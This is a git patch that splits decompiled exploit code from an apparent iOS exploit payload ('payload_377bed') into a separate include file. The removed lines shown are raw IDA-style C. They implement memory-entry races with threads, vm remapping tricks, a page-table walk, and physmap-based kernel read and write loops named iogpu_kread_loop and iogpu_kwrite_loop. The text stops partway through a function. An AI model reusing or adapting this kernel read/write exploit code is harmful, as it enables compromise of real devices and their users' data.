From ec98cb4eec1b79543514743a0ec9c4808c5fbe5d Mon Sep 17 00:00:00 2001
From: khanhduytran0 <khanhduytran0@users.noreply.github.com>
Date: Tue, 16 Jun 2026 14:49:11 +0700
Subject: [PATCH] Split IOGPU physmap engine include

---
 src/payload_377bed/entry1_type0x09.m          | 10997 +---------------
 .../entry1_type0x09_iogpu_physmap_engine.inc  | 10997 ++++++++++++++++
 2 files changed, 10998 insertions(+), 10996 deletions(-)
 create mode 100644 src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc

diff --git a/src/payload_377bed/entry1_type0x09.m b/src/payload_377bed/entry1_type0x09.m
index 84b4a47..4f6b0b5 100644
--- a/src/payload_377bed/entry1_type0x09.m
+++ b/src/payload_377bed/entry1_type0x09.m
@@ -1716,11002 +1716,7 @@ _UNKNOWN unk_44938; // weak
 
 #include "entry1_type0x09_driver_api.inc"
 
-//----- (00000000000068F4) ----------------------------------------------------
-void __fastcall deallocate_physmap_pages(__int64 a1)
-{
-  __int64 i; // x21
-  __int64 v3; // x22
-  vm_address_t v4; // x1
-  unsigned __int64 v5; // x21
-  __int64 v6; // x22
-  __int64 v7; // x23
-
-  for ( i = 0; i != 1024000; i += 16 )
-  {
-    v3 = *(uint64_t *)(a1 + 8);
-    v4 = *(uint64_t *)(v3 + i);
-    if ( v4 )
-    {
-      vm_deallocate(mach_task_self_, v4, 0x4000u);
-      *(uint64_t *)(v3 + i) = 0;
-    }
-  }
-  v5 = *(uint64_t *)(a1 + 24);
-  if ( v5 < *(uint64_t *)(a1 + 32) )
-  {
-    v6 = 16 * v5;
-    do
-    {
-      v7 = *(uint64_t *)(a1 + 16);
-      vm_deallocate(mach_task_self_, *(uint64_t *)(v7 + v6), 0x4000u);
-      *(uint64_t *)(v7 + v6) = 0;
-      ++v5;
-      v6 += 16;
-    }
-    while ( v5 < *(uint64_t *)(a1 + 32) );
-  }
-  free(*(void **)(a1 + 8));
-  free(*(void **)(a1 + 16));
-  free((void *)a1);
-}
-// 69A8: variable 'vars8' is possibly undefined
-
-//----- (00000000000069B8) ----------------------------------------------------
-__int64 __fastcall acquire_physmap_page(__int64 a1)
-{
-  mem_entry_name_port_t v1; // w19
-  __int64 v2; // x8
-  unsigned __int8 *v3; // x21
-  unsigned __int8 v4; // w8
-  vm_address_t address; // [xsp+18h] [xbp-38h] BYREF
-
-  v1 = *(uint32_t *)a1;
-  v2 = *(uint64_t *)(a1 + 8);
-  atomic_fetch_add((atomic_uint *volatile)(v2 + 24), 1u);
-  v3 = (unsigned __int8 *)(v2 + 28);
-  LOBYTE(v2) = atomic_load((unsigned __int8 *)(v2 + 28));
-  if ( (v2 & 1) == 0 )
-  {
-    do
-    {
-      address = 0;
-      vm_map(mach_task_self_, &address, 0x4000u, 0, 0, v1, 0, 1, 1, 1, 1u);
-      v4 = atomic_load(v3);
-    }
-    while ( (v4 & 1) == 0 );
-  }
-  return 0;
-}
-
-//----- (0000000000006A54) ----------------------------------------------------
-__int64 __fastcall start_physmap_worker_thread(__int64 a1, mem_entry_name_port_t *a2)
-{
-  __int64 v4; // x23
-  pthread_t *v5; // x21
-  __int128 *v6; // x22
-  void *(__cdecl *v7)(void *); // x0
-  unsigned int v8; // w8
-  __int64 v9; // x20
-  mach_port_t object_handle; // [xsp+4h] [xbp-ACh] BYREF
-  memory_object_size_t size; // [xsp+8h] [xbp-A8h] BYREF
-  __int128 v13[4]; // [xsp+10h] [xbp-A0h] BYREF
-  __int128 v14[2]; // [xsp+50h] [xbp-60h] BYREF
-
-  v4 = 0;
-  atomic_store(0, (unsigned int *)(a1 + 24));
-  atomic_store(0, (unsigned __int8 *)(a1 + 28));
-  memset(v14, 0, sizeof(v14));
-  memset(v13, 0, sizeof(v13));
-  v5 = (pthread_t *)v14;
-  v6 = v13;
-  do
-  {
-    *(uint32_t *)v6 = a2[v4];
-    *((uint64_t *)v6 + 1) = a1;
-    v7 = (void *(__cdecl *)(void *))nullsub_1(acquire_physmap_page);
-    if ( pthread_create(v5, 0, v7, v6) )
-      __error();
-    ++v4;
-    ++v5;
-    ++v6;
-  }
-  while ( v4 != 4 );
-  while ( 1 )
-  {
-    v8 = atomic_load((unsigned int *)(a1 + 24));
-    if ( v8 == 4 )
-      break;
-    usleep(0x3E8u);
-  }
-  size = 0x4000;
-  object_handle = 0;
-  mach_make_memory_entry_64(mach_task_self_, &size, 0, 1, &object_handle, *a2);
-  v9 = 0;
-  atomic_store(1u, (unsigned __int8 *)(a1 + 28));
-  do
-  {
-    if ( pthread_join(*(pthread_t *)((char *)v14 + v9), 0) )
-      __error();
-    v9 += 8;
-  }
-  while ( v9 != 32 );
-  return object_handle;
-}
-// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
-
-//----- (0000000000006BBC) ----------------------------------------------------
-__int64 __fastcall request_physmap_page(uint64_t *a1, __int64 a2)
-{
-  vm_address_t *v4; // x21
-  __int64 v5; // x24
-  unsigned __int64 v6; // x0
-  __int64 v7; // x1
-  __int64 v8; // x22
-  __int64 v9; // x25
-  mach_port_name_t v10; // w20
-  unsigned __int64 v11; // x0
-  __int64 v12; // x19
-  unsigned __int64 v14; // x24
-  memory_object_size_t v15; // x9
-  unsigned __int64 v16; // x8
-  mach_port_name_t v17; // w1
-  memory_object_size_t size; // [xsp+10h] [xbp-60h] BYREF
-  mem_entry_name_port_t object[4]; // [xsp+18h] [xbp-50h] BYREF
-
-  v4 = (vm_address_t *)get_vm_region_slot(a1);
-  thread_switch(0, 2, 0);
-  vm_deallocate(mach_task_self_, *v4, 0x4000u);
-  v5 = 0;
-  *v4 = 0;
-  *(uint64_t *)object = 0;
-  *(uint64_t *)&object[2] = 0;
-  do
-  {
-    size = 0x4000;
-    mach_make_memory_entry_64(mach_task_self_, &size, a1[2], 1, &object[v5++], 0);
-  }
-  while ( v5 != 4 );
-  size = 0;
-  vm_map(mach_task_self_, &size, 0x4000u, 0, 1, object[0], 0, 0, 1, 1, 1u);
-  vm_region_nesting_result nesting = query_vm_region_nesting(size);
-  v6 = nesting.packed_info;
-  if ( nesting.object_id != v4[1] )
-    goto LABEL_6;
-  v8 = nesting.object_id;
-  v9 = (unsigned int)(HIDWORD(v6) + 1);
-  v10 = start_physmap_worker_thread((__int64)a1, object);
-  v11 = query_vm_region_nesting(size).packed_info;
-  if ( v9 == HIDWORD(v11) )
-  {
-    mach_port_deallocate(mach_task_self_, v10);
-LABEL_6:
-    vm_deallocate(mach_task_self_, size, 0x4000u);
-    v12 = 0;
-    size = 0;
-    do
-    {
-      mach_port_deallocate(mach_task_self_, object[v12]);
-      object[v12++] = 0;
-    }
-    while ( v12 != 4 );
-    return 0;
-  }
-  v14 = 0;
-  v15 = size;
-  *(uint64_t *)a2 = v8;
-  *(uint64_t *)(a2 + 8) = v15;
-  *(uint32_t *)(a2 + 16) = v10;
-  v16 = v9 + ~HIDWORD(v11);
-  *(uint64_t *)(a2 + 32) = v16;
-  while ( 1 )
-  {
-    v17 = object[v14];
-    if ( v14 >= v16 )
-    {
-      mach_port_deallocate(mach_task_self_, v17);
-      object[v14] = 0;
-    }
-    else
-    {
-      *(uint32_t *)(a2 + 20 + 4 * v14) = v17;
-    }
-    if ( v14 == 3 )
-      break;
-    v16 = *(uint64_t *)(a2 + 32);
-    ++v14;
-  }
-  return 1;
-}
-// 6CAC: variable 'v7' is possibly undefined
-
-//----- (0000000000006DC0) ----------------------------------------------------
-__int64 __fastcall physmap_read_dword(uint64_t *a1, unsigned __int64 a2, uint32_t *a3)
-{
-  __int64 v5; // x21
-  unsigned __int64 v6; // x8
-  vm_address_t v7; // x1
-  __int64 result; // x0
-
-  v5 = a2 & 0x3FFF;
-  v6 = a2 >> 14;
-  v7 = a1[169];
-  *(uint32_t *)(v7 + 560) = v6;
-  vm_copy(mach_task_self_, v7, 0xC000u, a1[170]);
-  result = vm_remap_inplace(a1[172], 0x4000u, 0);
-  *a3 = *(uint32_t *)(a1[172] + v5);
-  return result;
-}
-
-//----- (0000000000006E30) ----------------------------------------------------
-void *__fastcall physmap_read_aligned(uint64_t *a1, unsigned __int64 a2, void *a3, size_t a4)
-{
-  __int64 v7; // x22
-  unsigned __int64 v8; // x8
-  vm_address_t v9; // x1
-
-  v7 = a2 & 0x3FFF;
-  v8 = a2 >> 14;
-  v9 = a1[169];
-  *(uint32_t *)(v9 + 560) = v8;
-  vm_copy(mach_task_self_, v9, 0xC000u, a1[170]);
-  vm_copy(mach_task_self_, a1[172], 0xC000u, a1[173]);
-  return memcpy(a3, (const void *)(a1[173] + v7), a4);
-}
-
-//----- (0000000000006EB8) ----------------------------------------------------
-__int64 __fastcall physmap_write_aligned(uint64_t *a1, const void *a2, unsigned __int64 a3, size_t a4)
-{
-  __int64 v7; // x24
-  vm_address_t v8; // x1
-  void *v9; // x23
-  vm_address_t v10; // x21
-  vm_map_t v11; // w0
-
-  v7 = a3 & 0x3FFF;
-  v8 = a1[169];
-  *(uint32_t *)(v8 + 560) = a3 >> 14;
-  vm_copy(mach_task_self_, v8, 0xC000u, a1[170]);
-  v9 = (void *)(a1[175] - a4 + 0x4000);
-  v10 = a1[176] + v7;
-  memcpy(v9, a2, a4);
-  v11 = mach_task_self_;
-  return vm_copy(v11, (vm_address_t)v9, a4 + 0x8000, v10);
-}
-// 6F58: variable 'vars8' is possibly undefined
-
-//----- (0000000000006F68) ----------------------------------------------------
-unsigned __int64 __fastcall build_physmap_page_table(uint64_t *a1, unsigned __int64 a2)
-{
-  unsigned __int64 v2; // x19
-  uint64_t *v3; // x20
-  unsigned __int64 v4; // x21
-  __int64 v5; // x23
-  __int64 v6; // x8
-  unsigned __int64 v7; // x26
-  __int64 v8; // x8
-  uint64_t v10[2048]; // [xsp+8h] [xbp-4058h] BYREF
-
-  v2 = a2;
-  v3 = a1;
-  v4 = a1[164];
-  bzero(v10, 0x4000u);
-  v5 = 0;
-  while ( 1 )
-  {
-    if ( v5 || (v6 = v3[165]) == 0 )
-      v6 = *(uint64_t *)((char *)&unk_42DC8 + v5 + 80);
-    v7 = (v6 & v2) >> *(uint64_t *)((char *)&unk_42DC8 + v5 + 72);
-    physmap_read_aligned(v3, v4, v10, 0x4000u);
-    v8 = v10[(unsigned int)v7];
-    if ( (*(uint64_t *)((uint8_t *)&unk_42DC8 + v5 + 88) & ~v8) != 0 )
-      return 0;
-    if ( (*(uint64_t *)((uint8_t *)&unk_42DC8 + v5 + 96) & v8) == *(uint64_t *)((char *)&unk_42DC8 + v5 + 104) )
-      break;
-    v4 = v8 & 0xFFFFFFFFC000LL;
-    v5 += 56;
-    if ( v5 == 168 )
-      return 0;
-  }
-  return (v8 & ~*(uint64_t *)((char *)&unk_42DC8 + v5 + 64) & 0xFFFFFFFFF000LL)
-       | (*(uint64_t *)((uint8_t *)&unk_42DC8 + v5 + 64) & v2);
-}
-// 6FA0: variable 'v1' is possibly undefined
-// 48940: using guessed type __int64 __chkstk_darwin(void);
-// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t);
-
-//----- (00000000000070A4) ----------------------------------------------------
-uint64_t *__fastcall iogpu_kread_loop(uint64_t *result, __int16 a2, char *a3, unsigned __int64 a4)
-{
-  unsigned __int64 v4; // x19
-  uint64_t *v7; // x22
-  size_t v8; // x23
-  unsigned __int64 v9; // x0
-
-  if ( a4 )
-  {
-    v4 = a4;
-    v7 = result;
-    do
-    {
-      if ( v4 >= 0x4000 - (unsigned __int64)(a2 & 0x3FFF) )
-        v8 = 0x4000LL - (a2 & 0x3FFF);
-      else
-        v8 = v4;
-      v9 = build_physmap_page_table(v7, a2);
-      result = physmap_read_aligned(v7, v9, a3, v8);
-      a2 += v8;
-      a3 += v8;
-      v4 -= v8;
-    }
-    while ( v4 );
-  }
-  return result;
-}
-
-//----- (0000000000007128) ----------------------------------------------------
-uint64_t *__fastcall iogpu_kwrite_loop(uint64_t *result, char *a2, __int16 a3, unsigned __int64 a4)
-{
-  unsigned __int64 v4; // x19
-  uint64_t *v7; // x22
-  size_t v8; // x23
-  unsigned __int64 v9; // x0
-
-  if ( a4 )
-  {
-    v4 = a4;
-    v7 = result;
-    do
-    {
-      if ( v4 >= 0x4000 - (unsigned __int64)(a3 & 0x3FFF) )
-        v8 = 0x4000LL - (a3 & 0x3FFF);
-      else
-        v8 = v4;
-      v9 = build_physmap_page_table(v7, a3);
-      result = (uint64_t *)physmap_write_aligned(v7, a2, v9, v8);
-      a2 += v8;
-      a3 += v8;
-      v4 -= v8;
-    }
-    while ( v4 );
-  }
-  return result;
-}
-
-//----- (00000000000071AC) ----------------------------------------------------
-__int64 __fastcall find_mem_region(__int64 result)
-{
-  __int64 v1; // x19
-  __int128 v2[5]; // [xsp+0h] [xbp-90h] BYREF
-  vm_size_t size; // [xsp+58h] [xbp-38h] BYREF
-  vm_address_t address; // [xsp+60h] [xbp-30h] BYREF
-  mach_msg_type_number_t infoCnt; // [xsp+68h] [xbp-28h] BYREF
-  natural_t nesting_depth; // [xsp+6Ch] [xbp-24h] BYREF
-
-  address = 0;
-  if ( !*(uint64_t *)(result + 16) )
-  {
-    v1 = result;
-    while ( 1 )
-    {
-      size = 0;
-      memset(v2, 0, 76);
-      infoCnt = 19;
-      nesting_depth = 1;
-      result = vm_region_recurse_64(
-                 mach_task_self_,
-                 &address,
-                 &size,
-                 &nesting_depth,
-                 (vm_region_recurse_info_t)v2,
-                 &infoCnt);
-      if ( nesting_depth )
-      {
-        if ( !*(uint64_t *)((char *)v2 + 12) )
-          break;
-      }
-      address += size;
-      if ( *(uint64_t *)(v1 + 16) )
-        return result;
-    }
-    *(uint64_t *)(v1 + 16) = address;
-  }
-  return result;
-}
-
-//----- (000000000000725C) ----------------------------------------------------
-__int64 __fastcall alloc_krw_region_map(__int64 a1)
-{
-  __int64 result; // x0
-  vm_address_t address; // [xsp+18h] [xbp-18h] BYREF
-
-  vm_map(
-    mach_task_self_,
-    (vm_address_t *)(a1 + 32),
-    (*(uint64_t *)(a1 + 1432) << 14) + 49152LL,
-    0x1FFFFFFu,
-    1,
-    0,
-    0,
-    0,
-    3,
-    7,
-    1u);
-  address = *(uint64_t *)(a1 + 32);
-  vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
-  address = *(uint64_t *)(a1 + 32) + 0x4000LL;
-  vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
-  address = *(uint64_t *)(a1 + 32) + 0x8000LL;
-  result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
-  **(uint8_t **)(a1 + 32) = 65;
-  return result;
-}
-
-//----- (0000000000007334) ----------------------------------------------------
-__int64 __fastcall alloc_vm_page_array(__int64 a1)
-{
-  __int64 v2; // x21
-  __int64 result; // x0
-  vm_address_t address; // [xsp+8h] [xbp-28h] BYREF
-
-  v2 = 0;
-  *(uint64_t *)(a1 + 48) = malloc(0xC3500u);
-  do
-  {
-    address = 0;
-    result = vm_allocate(mach_task_self_, &address, 0x4000u, 1);
-    *(uint64_t *)(*(uint64_t *)(a1 + 48) + v2) = address;
-    v2 += 8;
-  }
-  while ( v2 != 800000 );
-  return result;
-}
-
-//----- (00000000000073B8) ----------------------------------------------------
-__int64 __fastcall allocate_two_buffers_for_something(uint64_t *a1)
-{
-  vm_size_t v2; // x2
-  __int64 result; // x0
-  unsigned __int64 v4; // x8
-  unsigned __int64 v5; // x9
-  __int64 v6; // x10
-  vm_address_t address; // [xsp+8h] [xbp-18h] BYREF
-
-  a1[137] = 0x400000;
-  address = 0;
-  vm_allocate(mach_task_self_, &address, 0x400000u, 3);
-  a1[135] = address;
-  v2 = a1[137];
-  address = 0;
-  result = vm_allocate(mach_task_self_, &address, v2, 1);
-  a1[136] = address;
-  v4 = a1[137];
-  if ( v4 )
-  {
-    v5 = 0;
-    v6 = a1[135];
-    do
-    {
-      *(uint8_t *)(v6 + v5) = 65;
-      v5 += 0x4000LL;
-    }
-    while ( v5 < v4 );
-  }
-  return result;
-}
-
-//----- (0000000000007454) ----------------------------------------------------
-__int64 __fastcall setup_krw_region_structure(uint64_t *a1)
-{
-  vm_size_t v2; // x2
-  vm_size_t v3; // x2
-  __int64 result; // x0
-  unsigned __int64 v5; // x8
-  __int128 *v6; // x9
-  unsigned __int64 v7; // x9
-  unsigned __int64 v8; // x22
-  vm_address_t v9; // x20
-  uint8_t v10[32]; // [xsp+0h] [xbp-140h] BYREF
-  __int128 v11; // [xsp+20h] [xbp-120h]
-  __int128 v12; // [xsp+30h] [xbp-110h]
-  __int128 v13; // [xsp+40h] [xbp-100h]
-  __int128 v14; // [xsp+50h] [xbp-F0h]
-  __int128 v15; // [xsp+60h] [xbp-E0h]
-  __int128 v16; // [xsp+70h] [xbp-D0h]
-  __int128 v17; // [xsp+80h] [xbp-C0h]
-  __int128 v18; // [xsp+90h] [xbp-B0h]
-  __int128 v19; // [xsp+A0h] [xbp-A0h]
-  __int128 v20; // [xsp+B0h] [xbp-90h]
-  __int128 v21; // [xsp+C0h] [xbp-80h]
-  __int128 v22; // [xsp+D0h] [xbp-70h]
-  __int128 v23; // [xsp+E0h] [xbp-60h]
-  __int128 v24; // [xsp+F0h] [xbp-50h]
-  vm_address_t address; // [xsp+108h] [xbp-38h] BYREF
-
-  v2 = 163840LL * a1[179];
-  a1[140] = v2;
-  *(uint64_t *)v10 = 0;
-  vm_allocate(mach_task_self_, (vm_address_t *)v10, v2, 1);
-  a1[138] = *(uint64_t *)v10;
-  v3 = a1[140] + 0x8000LL;
-  *(uint64_t *)v10 = 0;
-  result = vm_allocate(mach_task_self_, (vm_address_t *)v10, v3, 1);
-  a1[139] = *(uint64_t *)v10;
-  *(uint64_t *)v10 = 0;
-  *(uint64_t *)&v10[24] = 0;
-  v23 = 0u;
-  v24 = 0u;
-  v21 = 0u;
-  v22 = 0u;
-  v19 = 0u;
-  v20 = 0u;
-  v17 = 0u;
-  *(uint64_t *)&v18 = 0;
-  v15 = 0u;
-  v16 = 0u;
-  v13 = 0u;
-  v14 = 0u;
-  v11 = 0u;
-  v12 = 0u;
-  *(__int128 *)&v10[8] = *(__int128 *)byte_42D30;
-  DWORD2(v11) = 1;
-  LODWORD(v16) = 4;
-  HIDWORD(v16) = 16893952;
-  *((uint64_t *)&v18 + 1) = -1;
-  HIDWORD(v19) = 786560;
-  if ( a1[140] )
-  {
-    v5 = 0;
-    do
-    {
-      v6 = (__int128 *)(v5 + a1[138]);
-      v6[12] = v21;
-      v6[13] = v22;
-      v6[14] = v23;
-      v6[15] = v24;
-      v6[8] = v17;
-      v6[9] = v18;
-      v6[10] = v19;
-      v6[11] = v20;
-      v6[4] = v13;
-      v6[5] = v14;
-      v6[6] = v15;
-      v6[7] = v16;
-      *v6 = *(__int128 *)v10;
-      v6[1] = *(__int128 *)&v10[16];
-      v6[2] = v11;
-      v6[3] = v12;
-      v5 += 256LL;
-      v7 = a1[140];
-    }
-    while ( v5 < v7 );
-    if ( v7 )
-    {
-      v8 = 0;
-      do
-      {
-        address = v8 + a1[139];
-        v9 = address;
-        vm_allocate(mach_task_self_, &address, 0x4000u, 16386);
-        result = vm_remap_inplace(v9, 0x4000u, 0);
-        v8 += 0x4000LL;
-      }
-      while ( v8 < a1[140] );
-    }
-  }
-  return result;
-}
-// 42D30: using guessed type __int128 xmmword_42D30;
-
-//----- (0000000000007630) ----------------------------------------------------
-__int64 __fastcall physmap_vmregion_init(uint64_t *a1)
-{
-  vm_address_t address; // [xsp+8h] [xbp-18h] BYREF
-
-  address = 0;
-  vm_allocate(mach_task_self_, &address, 0xC000u, 1);
-  a1[158] = address;
-  grow_vm_region_list(a1);
-  find_mem_region((__int64)a1);
-  alloc_krw_region_map((__int64)a1);
-  alloc_vm_page_array((__int64)a1);
-  allocate_two_buffers_for_something(a1);
-  return setup_krw_region_structure(a1);
-}
-
-//----- (00000000000076B0) ----------------------------------------------------
-void *__fastcall alloc_physmap_page_entry(uint64_t *a1)
-{
-  void *v2; // x19
-  vm_address_t v3; // x20
-  __int64 v4; // x1
-  vm_address_t address; // [xsp+8h] [xbp-28h] BYREF
-
-  v2 = calloc(1u, 0x40u);
-  address = 0;
-  vm_allocate(mach_task_self_, &address, 0xC000u, 1);
-  *((uint64_t *)v2 + 7) = address;
-  while ( !(unsigned int)request_physmap_page(a1, (__int64)v2 + 16) )
-    ;
-  thread_switch(0, 2, 0);
-  mach_port_deallocate(mach_task_self_, *((uint32_t *)v2 + 8));
-  *((uint32_t *)v2 + 8) = 0;
-  v3 = *((uint64_t *)v2 + 7);
-  vm_remap_inplace(v3, 0xC000u, 0);
-  if ( query_vm_region_nesting(v3).object_id != *((uint64_t *)v2 + 2) )
-  {
-    vm_deallocate(mach_task_self_, v3, 0xC000u);
-    *((uint64_t *)v2 + 7) = 0;
-    *((uint64_t *)v2 + 1) = 1;
-  }
-  return v2;
-}
-// 775C: variable 'v4' is possibly undefined
-
-//----- (0000000000007794) ----------------------------------------------------
-void *__fastcall physmap_page_entry_alloc(uint64_t *a1, int a2)
-{
-  void *v4; // x19
-  __int64 v5; // x1
-  vm_address_t v6; // x3
-  __int64 v7; // x1
-  vm_address_t v8; // x3
-  __int64 v9; // x1
-  vm_address_t v10; // x0
-  vm_address_t v11; // x22
-  __int64 v12; // x1
-  __int64 v13; // x23
-  vm_address_t v14; // x22
-  __int64 v15; // x1
-  vm_address_t v16; // x0
-  vm_address_t v17; // x0
-  vm_address_t v18; // x22
-  __int64 v19; // x1
-  __int64 v20; // x23
-  __int64 v21; // x8
-  vm_address_t v22; // x3
-  __int64 v23; // x8
-  vm_address_t v25; // x8
-  vm_address_t v26; // x6
-  vm_prot_t cur_protection[2]; // [xsp+20h] [xbp-40h] BYREF
-  vm_address_t address; // [xsp+28h] [xbp-38h] BYREF
-
-  v4 = calloc(1u, 0x100u);
-  address = 0;
-  vm_allocate(mach_task_self_, &address, 0x18000u, 1);
-  *((uint64_t *)v4 + 17) = address;
-  while ( !(unsigned int)request_physmap_page(a1, (__int64)v4 + 16) )
-    ;
-  thread_switch(0, 2, 0);
-  mach_port_deallocate(mach_task_self_, *((uint32_t *)v4 + 8));
-  *((uint32_t *)v4 + 8) = 0;
-  **((uint8_t **)v4 + 17) = 65;
-  if ( query_vm_region_nesting(*((uint64_t *)v4 + 17)).object_id != *((uint64_t *)v4 + 2) )
-  {
-    v23 = 1;
-LABEL_23:
-    *((uint64_t *)v4 + 1) = v23;
-    return v4;
-  }
-  address = 0;
-  vm_allocate(mach_task_self_, &address, 0x14000u, 1);
-  v6 = address;
-  *((uint64_t *)v4 + 18) = address;
-  vm_copy(mach_task_self_, *((uint64_t *)v4 + 17) + 0x4000LL, 0x14000u, v6);
-  while ( !(unsigned int)request_physmap_page(a1, (__int64)v4 + 56) )
-    ;
-  thread_switch(0, 2, 0);
-  mach_port_deallocate(mach_task_self_, *((uint32_t *)v4 + 18));
-  *((uint32_t *)v4 + 18) = 0;
-  *(uint8_t *)(*((uint64_t *)v4 + 18) + 0x10000LL) = 65;
-  if ( query_vm_region_nesting(*((uint64_t *)v4 + 18)).object_id != *((uint64_t *)v4 + 7) )
-  {
-    v23 = 2;
-    goto LABEL_23;
-  }
-  address = 0;
-  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
-  v8 = address;
-  *((uint64_t *)v4 + 19) = address;
-  vm_copy(mach_task_self_, *((uint64_t *)v4 + 18), 0x10000u, v8);
-  while ( !(unsigned int)request_physmap_page(a1, (__int64)v4 + 96) )
-    ;
-  thread_switch(0, 2, 0);
-  mach_port_deallocate(mach_task_self_, *((uint32_t *)v4 + 28));
-  *((uint32_t *)v4 + 28) = 0;
-  *(uint8_t *)(*((uint64_t *)v4 + 19) + 0x8000LL) = 65;
-  if ( query_vm_region_nesting(*((uint64_t *)v4 + 19)).object_id != *((uint64_t *)v4 + 12) )
-  {
-    v23 = 3;
-    goto LABEL_23;
-  }
-  v10 = vm_remap_new_target(*((uint64_t *)v4 + 19), 0x10000u, 0);
-  *((uint64_t *)v4 + 20) = v10;
-  address = v10 + 0x4000;
-  vm_allocate(mach_task_self_, &address, 0xC000u, 0x4000);
-  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 18), 0x14000u);
-  *((uint64_t *)v4 + 18) = 0;
-  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 17), 0x18000u);
-  *((uint64_t *)v4 + 17) = 0;
-  thread_switch(0, 2, 0);
-  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 3), 0x4000u);
-  *((uint64_t *)v4 + 3) = 0;
-  *((uint64_t *)v4 + 21) = vm_remap_new_target(*((uint64_t *)v4 + 19), 0x10000u, 1);
-  address = 0;
-  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
-  *((uint64_t *)v4 + 22) = address;
-  address = 0;
-  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
-  *((uint64_t *)v4 + 23) = address;
-  vm_copy(mach_task_self_, *((uint64_t *)v4 + 21), 0x10000u, *((uint64_t *)v4 + 22));
-  vm_copy(mach_task_self_, *((uint64_t *)v4 + 21), 0x10000u, *((uint64_t *)v4 + 23));
-  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 19), 0x10000u);
-  *((uint64_t *)v4 + 19) = 0;
-  v11 = *((uint64_t *)v4 + 21) + 0x8000LL;
-  vm_protect(mach_task_self_, v11, 0x4000u, 0, 1);
-  v13 = query_vm_region_nesting(v11).object_id;
-  vm_protect(mach_task_self_, v11, 0x4000u, 0, 3);
-  if ( v13 != *((uint64_t *)v4 + 2) )
-  {
-    v23 = 4;
-    goto LABEL_23;
-  }
-  address = 0;
-  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
-  v14 = address;
-  vm_copy(mach_task_self_, address, 0x10000u, *((uint64_t *)v4 + 20));
-  vm_deallocate(mach_task_self_, v14, 0x10000u);
-  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 20) + 0x4000LL, 0xC000u);
-  address = 0;
-  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
-  *((uint64_t *)v4 + 24) = address;
-  thread_switch(0, 2, 0);
-  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 8), 0x4000u);
-  *((uint64_t *)v4 + 8) = 0;
-  *(uint8_t *)(*((uint64_t *)v4 + 24) + 0x4000LL) = 65;
-  *((uint64_t *)v4 + 25) = vm_remap_new_target(*((uint64_t *)v4 + 24), 0x10000u, 0);
-  if ( query_vm_region_nesting(*((uint64_t *)v4 + 24)).object_id != *((uint64_t *)v4 + 7) )
-  {
-    v23 = 5;
-    goto LABEL_23;
-  }
-  v16 = *((uint64_t *)v4 + 22);
-  *((uint64_t *)v4 + 26) = v16;
-  *((uint64_t *)v4 + 22) = 0;
-  *((uint64_t *)v4 + 27) = vm_remap_new_target(v16, 0x10000u, 0);
-  if ( (a2 & 1) == 0 )
-    **((uint8_t **)v4 + 26) = 65;
-  thread_switch(0, 2, 0);
-  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 23), 0x10000u);
-  *((uint64_t *)v4 + 23) = 0;
-  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 13), 0x4000u);
-  *((uint64_t *)v4 + 13) = 0;
-  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 25), 0x10000u);
-  *((uint64_t *)v4 + 25) = 0;
-  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 24), 0x10000u);
-  *((uint64_t *)v4 + 24) = 0;
-  v17 = *((uint64_t *)v4 + 21);
-  *((uint64_t *)v4 + 28) = v17;
-  *((uint64_t *)v4 + 21) = 0;
-  *((uint64_t *)v4 + 29) = vm_remap_new_target(v17, 0x10000u, 0);
-  v18 = *((uint64_t *)v4 + 28);
-  vm_protect(mach_task_self_, v18, 0x4000u, 0, 1);
-  v20 = query_vm_region_nesting(v18).object_id;
-  vm_protect(mach_task_self_, v18, 0x4000u, 0, 3);
-  if ( v20 != *((uint64_t *)v4 + 7) )
-  {
-    v23 = 6;
-    goto LABEL_23;
-  }
-  v21 = *((uint64_t *)v4 + 26);
-  if ( a2 )
-  {
-    *((uint64_t *)v4 + 30) = vm_remap_new_target(v21 + 0x4000, 0xC000u, 1);
-    address = 0;
-    vm_allocate(mach_task_self_, &address, 0xC000u, 1);
-    v22 = address;
-    *((uint64_t *)v4 + 31) = address;
-    vm_copy(mach_task_self_, *((uint64_t *)v4 + 30), 0xC000u, v22);
-  }
-  else
-  {
-    vm_deallocate(mach_task_self_, v21 + 49152, 0x4000u);
-    vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 27) + 49152LL, 0x4000u);
-    v25 = a1[158];
-    if ( v25 )
-    {
-      v26 = *((uint64_t *)v4 + 27);
-      *(uint64_t *)cur_protection = 0;
-      address = v25;
-      vm_remap(
-        mach_task_self_,
-        &address,
-        0xC000u,
-        0,
-        0x4000,
-        mach_task_self_,
-        v26,
-        0,
-        &cur_protection[1],
-        cur_protection,
-        1u);
-      vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 27), 0xC000u);
-      *((uint64_t *)v4 + 27) = a1[158];
-      a1[158] = 0;
-    }
-  }
-  return v4;
-}
-// 7840: variable 'v5' is possibly undefined
-// 78D4: variable 'v7' is possibly undefined
-// 795C: variable 'v9' is possibly undefined
-// 7A94: variable 'v12' is possibly undefined
-// 7B88: variable 'v15' is possibly undefined
-// 7C58: variable 'v19' is possibly undefined
-
-//----- (0000000000007DA4) ----------------------------------------------------
-uint64_t *__fastcall fill_physmap_page_entries(uint64_t *a1, __int64 a2)
-{
-  __int64 i; // x21
-  uint64_t *result; // x0
-  __int64 v6; // x9
-
-  for ( i = 0; i != 2; ++i )
-  {
-    while ( 1 )
-    {
-      result = alloc_physmap_page_entry(a1);
-      if ( !result[1] )
-        break;
